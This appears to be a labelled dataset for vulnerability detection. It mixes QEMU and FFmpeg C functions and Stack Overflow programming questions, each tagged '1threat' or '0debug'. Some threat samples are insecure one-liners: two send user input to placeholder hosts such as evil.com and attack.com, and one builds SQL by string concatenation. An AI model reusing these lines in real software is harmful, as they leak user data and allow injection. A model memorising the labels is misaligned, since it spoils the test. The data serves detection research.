static int vfio_populate_device(VFIODevice *vbasedev) { VFIOINTp *intp, *tmp; int i, ret = -1; VFIOPlatformDevice *vdev = container_of(vbasedev, VFIOPlatformDevice, vbasedev); if (!(vbasedev->flags & VFIO_DEVICE_FLAGS_PLATFORM)) { error_report("vfio: Um, this isn't a platform device"); return ret; } vdev->regions = g_new0(VFIORegion *, vbasedev->num_regions); for (i = 0; i < vbasedev->num_regions; i++) { struct vfio_region_info reg_info = { .argsz = sizeof(reg_info) }; VFIORegion *ptr; vdev->regions[i] = g_malloc0(sizeof(VFIORegion)); ptr = vdev->regions[i]; reg_info.index = i; ret = ioctl(vbasedev->fd, VFIO_DEVICE_GET_REGION_INFO, &reg_info); if (ret) { error_report("vfio: Error getting region %d info: %m", i); goto reg_error; } ptr->flags = reg_info.flags; ptr->size = reg_info.size; ptr->fd_offset = reg_info.offset; ptr->nr = i; ptr->vbasedev = vbasedev; trace_vfio_platform_populate_regions(ptr->nr, (unsigned long)ptr->flags, (unsigned long)ptr->size, ptr->vbasedev->fd, (unsigned long)ptr->fd_offset); } vdev->mmap_timer = timer_new_ms(QEMU_CLOCK_VIRTUAL, vfio_intp_mmap_enable, vdev); QSIMPLEQ_INIT(&vdev->pending_intp_queue); for (i = 0; i < vbasedev->num_irqs; i++) { struct vfio_irq_info irq = { .argsz = sizeof(irq) }; irq.index = i; ret = ioctl(vbasedev->fd, VFIO_DEVICE_GET_IRQ_INFO, &irq); if (ret) { error_printf("vfio: error getting device %s irq info", vbasedev->name); goto irq_err; } else { trace_vfio_platform_populate_interrupts(irq.index, irq.count, irq.flags); intp = vfio_init_intp(vbasedev, irq); if (!intp) { error_report("vfio: Error installing IRQ %d up", i); goto irq_err; } } } return 0; irq_err: timer_del(vdev->mmap_timer); QLIST_FOREACH_SAFE(intp, &vdev->intp_list, next, tmp) { QLIST_REMOVE(intp, next); g_free(intp); } reg_error: for (i = 0; i < vbasedev->num_regions; i++) { g_free(vdev->regions[i]); } g_free(vdev->regions); return ret; }
1threat
Force Flutter navigator to reload state when popping : <p>I have one <code>StatefulWidget</code> in Flutter with button, which navigates me to another <code>StatefulWidget</code> using <code>Navigator.push()</code>. On second widget I'm changing global state (some user preferences). When I get back from second widget to first, using <code>Navigator.pop()</code> the first widget is in old state, but I want to force it's reload. Any idea how to do this? I have one idea but it looks ugly:</p> <ol> <li>pop to remove second widget (current one)</li> <li>pop again to remove first widget (previous one)</li> <li>push first widget (it should force redraw)</li> </ol>
0debug
clear edittext when swiped tab in tablyout : **In tablayout there are 4 tabs,at 2nd tab I have edittext(for search),I entered some text in edittext then I swiped to another tab again I comeback to watch edittext,whatever I entered text which is not cleared.But I want to clear edittext when swiped to other tab.** [Please watch screen shot here][1] [1]: https://i.stack.imgur.com/OUUql.png
0debug
Why can't I declare multiple const in JavaScript? : <p><strong>This is correct syntax:</strong></p> <p><code>let foo, bar;</code></p> <p><strong>This is incorrect</strong></p> <p><code>const foo, bar;</code></p> <p>Why is that?</p> <p>And is there a way to declare a number of constants in one place, and define them in another? Apart from bound declaration &amp; definition.</p>
0debug
Android sending large string : My problem is how can I program an android app that sends a large string of alphanumeric characters to multiple android users. QR code is limited and can't use special char and lowercase char. Is it possible to send the string to multiple android users with the same app? Just like ShareIt. Please provide a reference where I can study more. I'm new to android. Zero knowledge
0debug
how to convert mysql query to php query? : SET @sql = NULL; SELECT GROUP_CONCAT(DISTINCT CONCAT( 'max(CASE WHEN ca.date = ''', date_format(date, '%Y-%m-%d'), ''' THEN coalesce(p.status, ''P'') END) AS `', date_format(date, '%Y-%m-%d'), '`' ) ) INTO @sql FROM calendar where date>='2013-06-01' and date <= '2013-06-05'; SET @sql = CONCAT('SELECT ca.studentname, ca.rollno, ca.class, ', @sql, ' from ( select c.date, a.studentname, a.rollno, a.class from calendar c cross join tbl_admission a ) ca left join tbl_absentees p on ca.rollno = p.rollno and ca.date = p.date where ca.date>=''2013-06-01'' and ca.date <= ''2013-06-05'' group by ca.studentname, ca.rollno, ca.class order by ca.rollno'); PREPARE stmt FROM @sql; EXECUTE stmt; DEALLOCATE PREPARE stmt;
0debug
Accessing a size_type of vector inside a structure : I have got a structure structue str{ std::vector<double> values; } And I have got a for loop in my program that interates through values in this vector and these codes work: for (vector::size_type i = 0; i < str.values.size(); i++) { and for (size_t i = 0; i < str.values.size(); i++) { but I know that it should be done somehow like here but I have got an error. How to get this size? for (str::values::size_type i = 0; i < str.values.size(); i++) { And I know that I could use for (auto i : str.values) but I also need number of iteration, not only double value that is in that vector. Is it possible using this solution?
0debug
C# how to handle 1 million lines without crashing the program? : <p>I have a file with 1 million lines. My program is made to check line by line if it contains one of the words that the user requests to be removed. If the line contains the word, it has to be removed and added into the list. Everytime I press Start, the program freezes and nothing shows up in the listbox. However if I add like 1k it will clean the file and display the new file in list. What's the best way to handle this?</p> <p>My code :</p> <pre><code> using System; using System.Collections.Generic; using System.ComponentModel; using System.Data; using System.Drawing; using System.Linq; using System.Text; using System.Threading.Tasks; using System.Windows.Forms; using System.IO; namespace BoringAssComboTool { public partial class Form2 : Form { List&lt;String&gt; list; string myFile = null; string[] line = null; int linecount = 0; public Form2() { InitializeComponent(); } private void groupBox1_Enter(object sender, EventArgs e) { } private void label1_Click(object sender, EventArgs e) { } private void textBox1_TextChanged(object sender, EventArgs e) { } public void button1_Click(object sender, EventArgs e) { OpenFileDialog openFileDialog = new OpenFileDialog(); openFileDialog.RestoreDirectory = true; openFileDialog.Multiselect = false; openFileDialog.Filter = "Combo List (*.txt)|*.txt"; openFileDialog.FilterIndex = 1; if (openFileDialog.ShowDialog() == DialogResult.OK) { myFile = openFileDialog.FileName; MessageBox.Show("You selected " + openFileDialog.FileName); linecount = File.ReadAllLines(myFile).Length; label3.Text = "Total loaded : " + linecount; line = File.ReadAllLines(myFile); //MessageBox.Show(line[0]); //MessageBox.Show(line[4]); list = File.ReadAllLines(myFile).ToList(); // StreamReader sr = new StreamReader(myFile); } } private void button3_Click(object sender, EventArgs e) { int removedlines = 0; string domainSplitted = textBox1.Text; string[] splitDomain = domainSplitted.Split(','); //MessageBox.Show(splitDomain[2]); //MessageBox.Show(splitDomain[3]); //MessageBox.Show(line[2]); int sizeOfArray = splitDomain.Length; // MessageBox.Show("Length is " + sizeOfArray); for (int x = 0; x &lt; sizeOfArray - 1; x++) { // for (int i = 0; i &lt; linecount - 1; i++) for ( int i = linecount - 1; i&gt;=0; i--) { if (line[i].Contains(splitDomain[x])) { list.RemoveAt(i); string[] lines = list.ToArray(); removedlines++; label4.Text = "Total Removed = " + removedlines; listBox1.DataSource = list; // MessageBox.Show("there is a match on " + line[i]); } } } // listBox1.DataSource = list; } private void pictureBox3_Click(object sender, EventArgs e) { this.WindowState = FormWindowState.Minimized; } private void pictureBox2_Click(object sender, EventArgs e) { Application.Exit(); } private void label3_Click(object sender, EventArgs e) { } private void button2_Click(object sender, EventArgs e) { // System.IO.File.WriteAllLines("Cleaned Combo File.txt", list); SaveFileDialog save = new SaveFileDialog(); save.FileName = "Cleaned Combo File.txt"; save.Filter = "Text File | *.txt"; if (save.ShowDialog() == DialogResult.OK) { StreamWriter writer = new StreamWriter(save.OpenFile()); for (int i = 0; i &lt; listBox1.Items.Count; i++) { writer.WriteLine(listBox1.Items[i].ToString()); } writer.Dispose(); writer.Close(); MessageBox.Show("Saved succesfully"); } } // MessageBox.Show("==" + line[27]); protected override void WndProc(ref Message m) { base.WndProc(ref m); if (m.Msg == WM_NCHITTEST) m.Result = (IntPtr)(HT_CAPTION); } private const int WM_NCHITTEST = 0x84; private const int HT_CLIENT = 0x1; private const int HT_CAPTION = 0x2; private void Form2_Load(object sender, EventArgs e) { } } } </code></pre>
0debug
QEMUSizedBuffer *qsb_clone(const QEMUSizedBuffer *qsb) { QEMUSizedBuffer *out = qsb_create(NULL, qsb_get_length(qsb)); size_t i; ssize_t res; off_t pos = 0; if (!out) { return NULL; } for (i = 0; i < qsb->n_iov; i++) { res = qsb_write_at(out, qsb->iov[i].iov_base, pos, qsb->iov[i].iov_len); if (res < 0) { qsb_free(out); return NULL; } pos += res; } return out; }
1threat
static int write_l2_entries(BlockDriverState *bs, uint64_t *l2_table, uint64_t l2_offset, int l2_index, int num) { int l2_start_index = l2_index & ~(L1_ENTRIES_PER_SECTOR - 1); int start_offset = (8 * l2_index) & ~511; int end_offset = (8 * (l2_index + num) + 511) & ~511; size_t len = end_offset - start_offset; int ret; BLKDBG_EVENT(bs->file, BLKDBG_L2_UPDATE); ret = bdrv_pwrite(bs->file, l2_offset + start_offset, &l2_table[l2_start_index], len); if (ret < 0) { return ret; } return 0; }
1threat
Set amount of pictures with UIImagePickerController : <p>I have a UIImagePickerController, and I need to be able to upload multiple pictures, and set the max amount of pictures my user will be able to upload. How do I do that ? (Using Swift 3)</p>
0debug
How to add Facebook Login script to React? : <p><a href="https://i.stack.imgur.com/DaSib.png" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/DaSib.png" alt="enter image description here"></a></p> <p>How to add Facebook Login script not get syntacs error to React?</p>
0debug
How to store data taken from user and store it in array? (in ruby) : I am developing a hospital management system on command line using ruby. In this, i take values from the user and display it. But I want to take value from user in an instance variable and store it in array. However, every time a new value is entered, it overwrites the previous value. The code is as follows: def doctor_details @doctors = Array.new puts 'Enter Doctor Name' @doc_name = gets @doctors << @doc_name puts 'Enter specialization' @doc_specialization = gets puts 'Availability of doctor' @from = Float(gets) @to = Float(gets) end
0debug
static void ff_jref_idct1_add(uint8_t *dest, int line_size, DCTELEM *block) { uint8_t *cm = ff_cropTbl + MAX_NEG_CROP; dest[0] = cm[dest[0] + ((block[0] + 4)>>3)]; }
1threat
I am select on records in sql server and sum without DateTime field. i don't know do it : I Do not want group by "**BimeName.IssueDate**" field in this select and I do not how to do it. please help me! SELECT BimeName.IssueDate, sum(BimeName.Premium) as Permium, TypeOfInsurances.TypeOfInsurance + ' ' + InsuranceKinds.KindOfInsurance as KindOfInsurance, InsuranceAgents.NameOfInsurance, InsuranceAgents.Representation + ' ' + InsuranceAgents.AgentCode as Agent from BimeName Inner Join InsuranceKinds ON InsuranceKinds.Id = BimeName.KindOfInsuranceId Inner Join TypeOfInsurances ON TypeOfInsurances.Id = InsuranceKinds.TypeOfInsuranceId Inner Join InsuranceAgents ON InsuranceAgents.Id = TypeOfInsurances.InsuranceAgentId where BimeName.IssueDate BETWEEN '2010-01-01' AND '2017-01-30' group by InsuranceAgents.Representation, InsuranceAgents.NameOfInsurance, InsuranceAgents.AgentCode , BimeName.IssueDate , TypeOfInsurances.TypeOfInsurance , InsuranceKinds.KindOfInsurance
0debug
CircleCI with no tests : <p>I want to use CircleCI just to push my docker image to Dockerhub when I merge with master. I am using CircleCI in other projects where it is more useful and want to be consistent (as well as I am planning to add tests later). However all my builds fail because CircleCI says: "NO TESTS!", which is true. How can I disable CircleCI from checking for tests presence.</p>
0debug
C How can I calculate an average of a list without loops? : <p>So I created a linked List in C using structs and it stores ints. My mission is to calculate the average of the values in the list without using recursion or loops. I already have the list's item count I just need the sum.</p> <p>Any ideas?</p>
0debug
document.location = 'http://evil.com?username=' + user_input;
1threat
static int cp15_tls_load_store(CPUState *env, DisasContext *s, uint32_t insn, uint32_t rd) { TCGv tmp; int cpn = (insn >> 16) & 0xf; int cpm = insn & 0xf; int op = ((insn >> 5) & 7) | ((insn >> 18) & 0x38); if (!arm_feature(env, ARM_FEATURE_V6K)) return 0; if (!(cpn == 13 && cpm == 0)) return 0; if (insn & ARM_CP_RW_BIT) { switch (op) { case 2: tmp = load_cpu_field(cp15.c13_tls1); break; case 3: tmp = load_cpu_field(cp15.c13_tls2); break; case 4: tmp = load_cpu_field(cp15.c13_tls3); break; default: return 0; } store_reg(s, rd, tmp); } else { tmp = load_reg(s, rd); switch (op) { case 2: store_cpu_field(tmp, cp15.c13_tls1); break; case 3: store_cpu_field(tmp, cp15.c13_tls2); break; case 4: store_cpu_field(tmp, cp15.c13_tls3); break; default: dead_tmp(tmp); return 0; } } return 1; }
1threat
ram_addr_t qemu_ram_alloc(ram_addr_t size, MemoryRegion *mr, Error **errp) { return qemu_ram_alloc_from_ptr(size, NULL, mr, errp); }
1threat
static void ga_channel_listen_close(GAChannel *c) { g_assert(c->method == GA_CHANNEL_UNIX_LISTEN); g_assert(c->listen_channel); g_io_channel_shutdown(c->listen_channel, true, NULL); g_io_channel_unref(c->listen_channel); c->listen_channel = NULL; }
1threat
Is it possible to get 2 values in onNext() of subscriber in rxjava android? : <p>I've an observable like this</p> <pre><code>Observable.zip(observable, extObs, new Func2&lt;List&lt;UserProfile&gt;, ArrayList&lt;Extension&gt;, UserProfile&gt;() { @Override public UserProfile call(List&lt;UserProfile&gt; userProfiles, ArrayList&lt;Extension&gt; extensions) { return userProfiles.get(0); } }).subscribeOn(Schedulers.io()).observeOn(AndroidSchedulers.mainThread()).unsubscribeOn(Schedulers.io()).subscribe(new Subscriber&lt;UserProfile&gt;() { @Override public void onCompleted() { } @Override public void onError(Throwable e) { e.printStackTrace(); } @Override public void onNext(UserProfile userProfile) { profileListener.onProfileSet(userProfile); } }); } </code></pre> <p>I need to pass the ArrayList in the method<code>profileListener.onProfileSet(userProfile);</code> as <code>profileListener.onProfileSet(userProfile,extensions);</code></p> <p>Is it possible to do so in zip or is there any other methods of rxjava to solve such type of problems?</p>
0debug
window.location.href = 'http://attack.com?user=' + user_input;
1threat
hwaddr memory_region_section_get_iotlb(CPUArchState *env, MemoryRegionSection *section, target_ulong vaddr, hwaddr paddr, hwaddr xlat, int prot, target_ulong *address) { hwaddr iotlb; CPUWatchpoint *wp; if (memory_region_is_ram(section->mr)) { iotlb = (memory_region_get_ram_addr(section->mr) & TARGET_PAGE_MASK) + xlat; if (!section->readonly) { iotlb |= PHYS_SECTION_NOTDIRTY; } else { iotlb |= PHYS_SECTION_ROM; } } else { iotlb = section - address_space_memory.dispatch->sections; iotlb += xlat; } QTAILQ_FOREACH(wp, &env->watchpoints, entry) { if (vaddr == (wp->vaddr & TARGET_PAGE_MASK)) { if ((prot & PAGE_WRITE) || (wp->flags & BP_MEM_READ)) { iotlb = PHYS_SECTION_WATCH + paddr; *address |= TLB_MMIO; break; } } } return iotlb; }
1threat
HTML MARQUEE not works as expected : <p>I am using MARQUEE tag to scroll three sentences. </p> <p>The first 2 sentence scrolls correctly, whereas the last one is in completing the scrolling in the middle of the div (when I use full screen 100%).</p> <p><div class="snippet" data-lang="js" data-hide="false" data-console="true" data-babel="false"> <div class="snippet-code"> <pre class="snippet-code-css lang-css prettyprint-override"><code>marquee span { margin-right: 23%; } marquee p { white-space:nowrap; margin-right: 100px; } </code></pre> <pre class="snippet-code-html lang-html prettyprint-override"><code>&lt;div style='color: #fff;position: fixed;bottom: -10px;padding: 8px 0px;width: 100%;background:#090270;z-index:100;'&gt; &lt;div style='float: left;width: 90%;padding: 3px 8px 0px 8px;margin-top:-5px;'&gt; &lt;marquee scrollamount='20'&gt; &lt;p&gt; 1. To decrease effort to plan 2018, we have copied your team planing from CW49/2017 to CW01/2018. By doing that you will have already all 2017 employees with their individual project setup available to start 2018 planning. That was only applied if no planning was avaialble yet. &lt;span&gt; &lt;/span&gt; 2. &lt;a href='./rat/docs/RAT_Absence_2018.xlsx' title='Absence calendar 2018' target='_blank'&gt;Absence calendar 2018 available&lt;/a&gt;. Please select your team location and plan absence accordingly. Either use weekly or monthly planning. If detailed vacation planning per employee is known, please update the planning &lt;span&gt; &lt;/span&gt; 3. Team leaders are requested to use the information regarding target hire date for RAT planning in their project with respect to resources joining in future. This date can be found in Menu:Reports-&gt;&lt;a href='./team-members'&gt;Team Members List&lt;/a&gt; page as (Internal - &lt;span style='color:#093F7F'&gt;DD-MON-YYYY&lt;/span&gt;). Please use projx id:100000 for timeline prior to that date. &lt;/p&gt; &lt;/marquee&gt; &lt;/div&gt; &lt;/div&gt;</code></pre> </div> </div> </p>
0debug
query = 'SELECT * FROM customers WHERE email = ' + email_input
1threat
What does this sed command do? : <p>i searched long for this but i could not figure out what this sed actually does!?</p> <pre><code>sed -E $'s:$:\t:' &lt; file1 | cut -f 2 &gt; file2 </code></pre> <p>Who can explain me please?</p>
0debug
static int mov_read_dvc1(MOVContext *c, AVIOContext *pb, MOVAtom atom) { AVStream *st; uint8_t profile_level; if (c->fc->nb_streams < 1) return 0; st = c->fc->streams[c->fc->nb_streams-1]; if (atom.size >= (1<<28) || atom.size < 7) return AVERROR_INVALIDDATA; profile_level = avio_r8(pb); if ((profile_level & 0xf0) != 0xc0) return 0; av_free(st->codec->extradata); st->codec->extradata = av_mallocz(atom.size - 7 + FF_INPUT_BUFFER_PADDING_SIZE); if (!st->codec->extradata) return AVERROR(ENOMEM); st->codec->extradata_size = atom.size - 7; avio_seek(pb, 6, SEEK_CUR); avio_read(pb, st->codec->extradata, st->codec->extradata_size); return 0; }
1threat
uint64_t helper_fmul(CPUPPCState *env, uint64_t arg1, uint64_t arg2) { CPU_DoubleU farg1, farg2; farg1.ll = arg1; farg2.ll = arg2; if (unlikely((float64_is_infinity(farg1.d) && float64_is_zero(farg2.d)) || (float64_is_zero(farg1.d) && float64_is_infinity(farg2.d)))) { farg1.ll = fload_invalid_op_excp(env, POWERPC_EXCP_FP_VXIMZ); } else { if (unlikely(float64_is_signaling_nan(farg1.d) || float64_is_signaling_nan(farg2.d))) { fload_invalid_op_excp(env, POWERPC_EXCP_FP_VXSNAN); } farg1.d = float64_mul(farg1.d, farg2.d, &env->fp_status); } return farg1.ll; }
1threat
Prevent user from adding same values in Database : I am developing an Attendance Monitoring System with register module Every time I click the register button for the 2nd time it inserts, it should prevent the user from doing so. I am uaig C# with Ms Access
0debug
SQL Concatenation Two Tables : How can I concatenate the values from the two tables in sql server? Example: Table 1 Two Fields ID Description 123 Apple 123 Grapes 123 Pear Table 2 One Field Remarks Rotten Concatenation: Apple-Rotten Grapes-Rotten Pear-Rotten
0debug
static int smacker_decode_bigtree(BitstreamContext *bc, HuffContext *hc, DBCtx *ctx) { if (hc->current + 1 >= hc->length) { av_log(NULL, AV_LOG_ERROR, "Tree size exceeded!\n"); return AVERROR_INVALIDDATA; } if (!bitstream_read_bit(bc)) { int val, i1, i2; i1 = ctx->v1->table ? bitstream_read_vlc(bc, ctx->v1->table, SMKTREE_BITS, 3) : 0; i2 = ctx->v2->table ? bitstream_read_vlc(bc, ctx->v2->table, SMKTREE_BITS, 3) : 0; if (i1 < 0 || i2 < 0) return AVERROR_INVALIDDATA; val = ctx->recode1[i1] | (ctx->recode2[i2] << 8); if(val == ctx->escapes[0]) { ctx->last[0] = hc->current; val = 0; } else if(val == ctx->escapes[1]) { ctx->last[1] = hc->current; val = 0; } else if(val == ctx->escapes[2]) { ctx->last[2] = hc->current; val = 0; } hc->values[hc->current++] = val; return 1; } else { int r = 0, r_new, t; t = hc->current++; r = smacker_decode_bigtree(bc, hc, ctx); if(r < 0) return r; hc->values[t] = SMK_NODE | r; r++; r_new = smacker_decode_bigtree(bc, hc, ctx); if (r_new < 0) return r_new; return r + r_new; } }
1threat
conversion from objective c to swift3 : <p>getting currrent location of user using core location in swift</p> <pre><code> @implementation MyLocationViewController { CLLocationManager *locationManager; CLGeocoder *geocoder; CLPlacemark *placemark; } - (void)viewDidLoad { [super viewDidLoad]; locationManager = [[CLLocationManager alloc] init]; geocoder = [[CLGeocoder alloc] init]; } </code></pre> <p>the above code i am using to get location details help me to use to convert to swft the below method</p> <pre><code>- (void)locationManager:(CLLocationManager *)manager didUpdateToLocation:(CLLocation *)newLocation fromLocation:(CLLocation *)oldLocation { NSLog(@"didUpdateToLocation: %@", newLocation); CLLocation *currentLocation = newLocation; if (currentLocation != nil) { longitudeLabel.text = [NSString stringWithFormat:@"%.8f", currentLocation.coordinate.longitude]; latitudeLabel.text = [NSString stringWithFormat:@"%.8f", currentLocation.coordinate.latitude]; } // Reverse Geocoding NSLog(@"Resolving the Address"); [geocoder reverseGeocodeLocation:currentLocation completionHandler:^(NSArray *placemarks, NSError *error) { NSLog(@"Found placemarks: %@, error: %@", placemarks, error); if (error == nil &amp;&amp; [placemarks count] &gt; 0) { placemark = [placemarks lastObject]; addressLabel.text = [NSString stringWithFormat:@"%@ %@\n%@ %@\n%@\n%@", placemark.subThoroughfare, placemark.thoroughfare, placemark.postalCode, placemark.locality, placemark.administrativeArea, placemark.country]; } else { NSLog(@"%@", error.debugDescription); } } ]; } </code></pre>
0debug
Canvas in Google Chrome 61.0.3163.79 are too slow on Linux : <p>I recently updated Google Chrome to the 61.0.3163.79 version and it was suddenly very slow with canvas. This issue only appears on Linux.</p> <p>For exemple, <a href="http://vincentgarreau.com/particles.js/" rel="noreferrer">http://vincentgarreau.com/particles.js/</a> was 60 FPS before the Chrome update, and now it run at 2 FPS.</p> <p>What's wrong with the new Google Chrome update ?</p> <p>P.S: Chromium 61.0.3163.79 works fine on my computer.</p>
0debug
static void virtio_serial_save_device(VirtIODevice *vdev, QEMUFile *f) { VirtIOSerial *s = VIRTIO_SERIAL(vdev); VirtIOSerialPort *port; uint32_t nr_active_ports; unsigned int i, max_nr_ports; struct virtio_console_config config; get_config(vdev, (uint8_t *)&config); qemu_put_be16s(f, &config.cols); qemu_put_be16s(f, &config.rows); qemu_put_be32s(f, &config.max_nr_ports); max_nr_ports = s->serial.max_virtserial_ports; for (i = 0; i < (max_nr_ports + 31) / 32; i++) { qemu_put_be32s(f, &s->ports_map[i]); } nr_active_ports = 0; QTAILQ_FOREACH(port, &s->ports, next) { nr_active_ports++; } qemu_put_be32s(f, &nr_active_ports); QTAILQ_FOREACH(port, &s->ports, next) { uint32_t elem_popped; qemu_put_be32s(f, &port->id); qemu_put_byte(f, port->guest_connected); qemu_put_byte(f, port->host_connected); elem_popped = 0; if (port->elem.out_num) { elem_popped = 1; } qemu_put_be32s(f, &elem_popped); if (elem_popped) { qemu_put_be32s(f, &port->iov_idx); qemu_put_be64s(f, &port->iov_offset); qemu_put_buffer(f, (unsigned char *)&port->elem, sizeof(port->elem)); } } }
1threat
void helper_fxtract(void) { CPU86_LDoubleU temp; unsigned int expdif; temp.d = ST0; expdif = EXPD(temp) - EXPBIAS; ST0 = expdif; fpush(); BIASEXPONENT(temp); ST0 = temp.d; }
1threat
Short way to write or in python : <p>I have this code:</p> <p>table is a list.</p> <pre><code>if 'ping' in table or 'pong' in table: # Do something here </code></pre> <p>Is there a shorter way to write this? I don't want to have table duplicated in the if statement.</p>
0debug
How can I store user input in arrays and then print them out? : <p>I am a beginner programmer and I am making a little application for practice.</p> <p>You enter your budget, then you add an expense(name, amount) and it subtracts and tells you your current budget.</p> <p>I want to make it so you can see all of your expenses after each execution.</p> <p>I have tried to make for loops that store the names of the expenses and then print them. But I am doing something wrong :/.</p> <p>Sorry for my bad English, I am from Croatia!</p> <p>Here is some beginner ugly code.</p> <pre><code> int length = 0; String[] listOfNames = new String[length]; boolean active = true; int budget = 0; Scanner input = new Scanner(System.in); //user input System.out.println("Enter current budget in HRK"); int enteredAmount = input.nextInt(); //user input for budget budget = enteredAmount; while(active) { System.out.println("Current budget is " + budget + " HRK"); System.out.println("Enter expense name and amount"); System.out.println("Name: "); String name = input.next(); //name of expense for(int i=0; i&lt;listOfNames.length;i++){ //adds entered expense names to array listOfNames[i] = name; length++; } System.out.println("Amount: "); int enteredAmount1 = input.nextInt(); budget -= enteredAmount1; // subtracts the budget from the users input System.out.println("Expense: " + name + ", Amount: " + enteredAmount1); // prints final result for(int j=0; j&lt;listOfNames.length; j++) // prints stored strings in array { System.out.println(listOfNames[j]); } } </code></pre> <p>} }</p>
0debug
Change ul background color whose li has a specific class : <p>I have a <code>ul</code> list whose <code>li</code> has a specific class. I want to change the back ground color of that <code>ul</code>.</p> <p>Eg:</p> <pre><code>&lt;ul class="dropdown-menu"&gt; &lt;li class=""&gt;About us&lt;/li&gt; &lt;li class=""&gt;Why Join?&lt;/li&gt; &lt;li class=""&gt;Constitution&lt;/li&gt; &lt;/ul&gt; &lt;ul class="dropdown-menu"&gt; &lt;li class="active"&gt;2016 Conference&lt;/li&gt; &lt;li class=""&gt;Member Home Page&lt;/li&gt; &lt;li class=""&gt;Bulletin Board&lt;/li&gt; &lt;/ul&gt; </code></pre> <p>I want to change second <code>ul</code> background color.</p> <p>I have tried following code</p> <pre><code>ul.dropdown-menu li.active { background-color: #e9124a !important; } </code></pre>
0debug
build_tpm_tcpa(GArray *table_data, GArray *linker, GArray *tcpalog) { Acpi20Tcpa *tcpa = acpi_data_push(table_data, sizeof *tcpa); uint64_t log_area_start_address = acpi_data_len(tcpalog); tcpa->platform_class = cpu_to_le16(TPM_TCPA_ACPI_CLASS_CLIENT); tcpa->log_area_minimum_length = cpu_to_le32(TPM_LOG_AREA_MINIMUM_SIZE); tcpa->log_area_start_address = cpu_to_le64(log_area_start_address); bios_linker_loader_alloc(linker, ACPI_BUILD_TPMLOG_FILE, 1, false ); bios_linker_loader_add_pointer(linker, ACPI_BUILD_TABLE_FILE, ACPI_BUILD_TPMLOG_FILE, table_data, &tcpa->log_area_start_address, sizeof(tcpa->log_area_start_address)); build_header(linker, table_data, (void *)tcpa, "TCPA", sizeof(*tcpa), 2, NULL); acpi_data_push(tcpalog, TPM_LOG_AREA_MINIMUM_SIZE); }
1threat
Why dict.get return a tuple with None? : <p>I have a dict:</p> <pre><code>book = { 'id': 2, 'author': 'J.R.R. Tolkien', 'pages': 332, 'title': 'Fellowship', } err_msg='No such key' a = book.get('signature'),err_msg print(a) </code></pre> <p>Result is:</p> <blockquote> <p>(None, 'No such key')</p> </blockquote> <p>Why I receive the tuple as a result instead of 'No such key'?</p> <p>In the documentation:</p> <p><strong>get(key[, default])</strong></p> <p><em>Return the value for key if key is in the dictionary, else default. If default is not given, it defaults to None, so that this method never raises a KeyError.</em></p>
0debug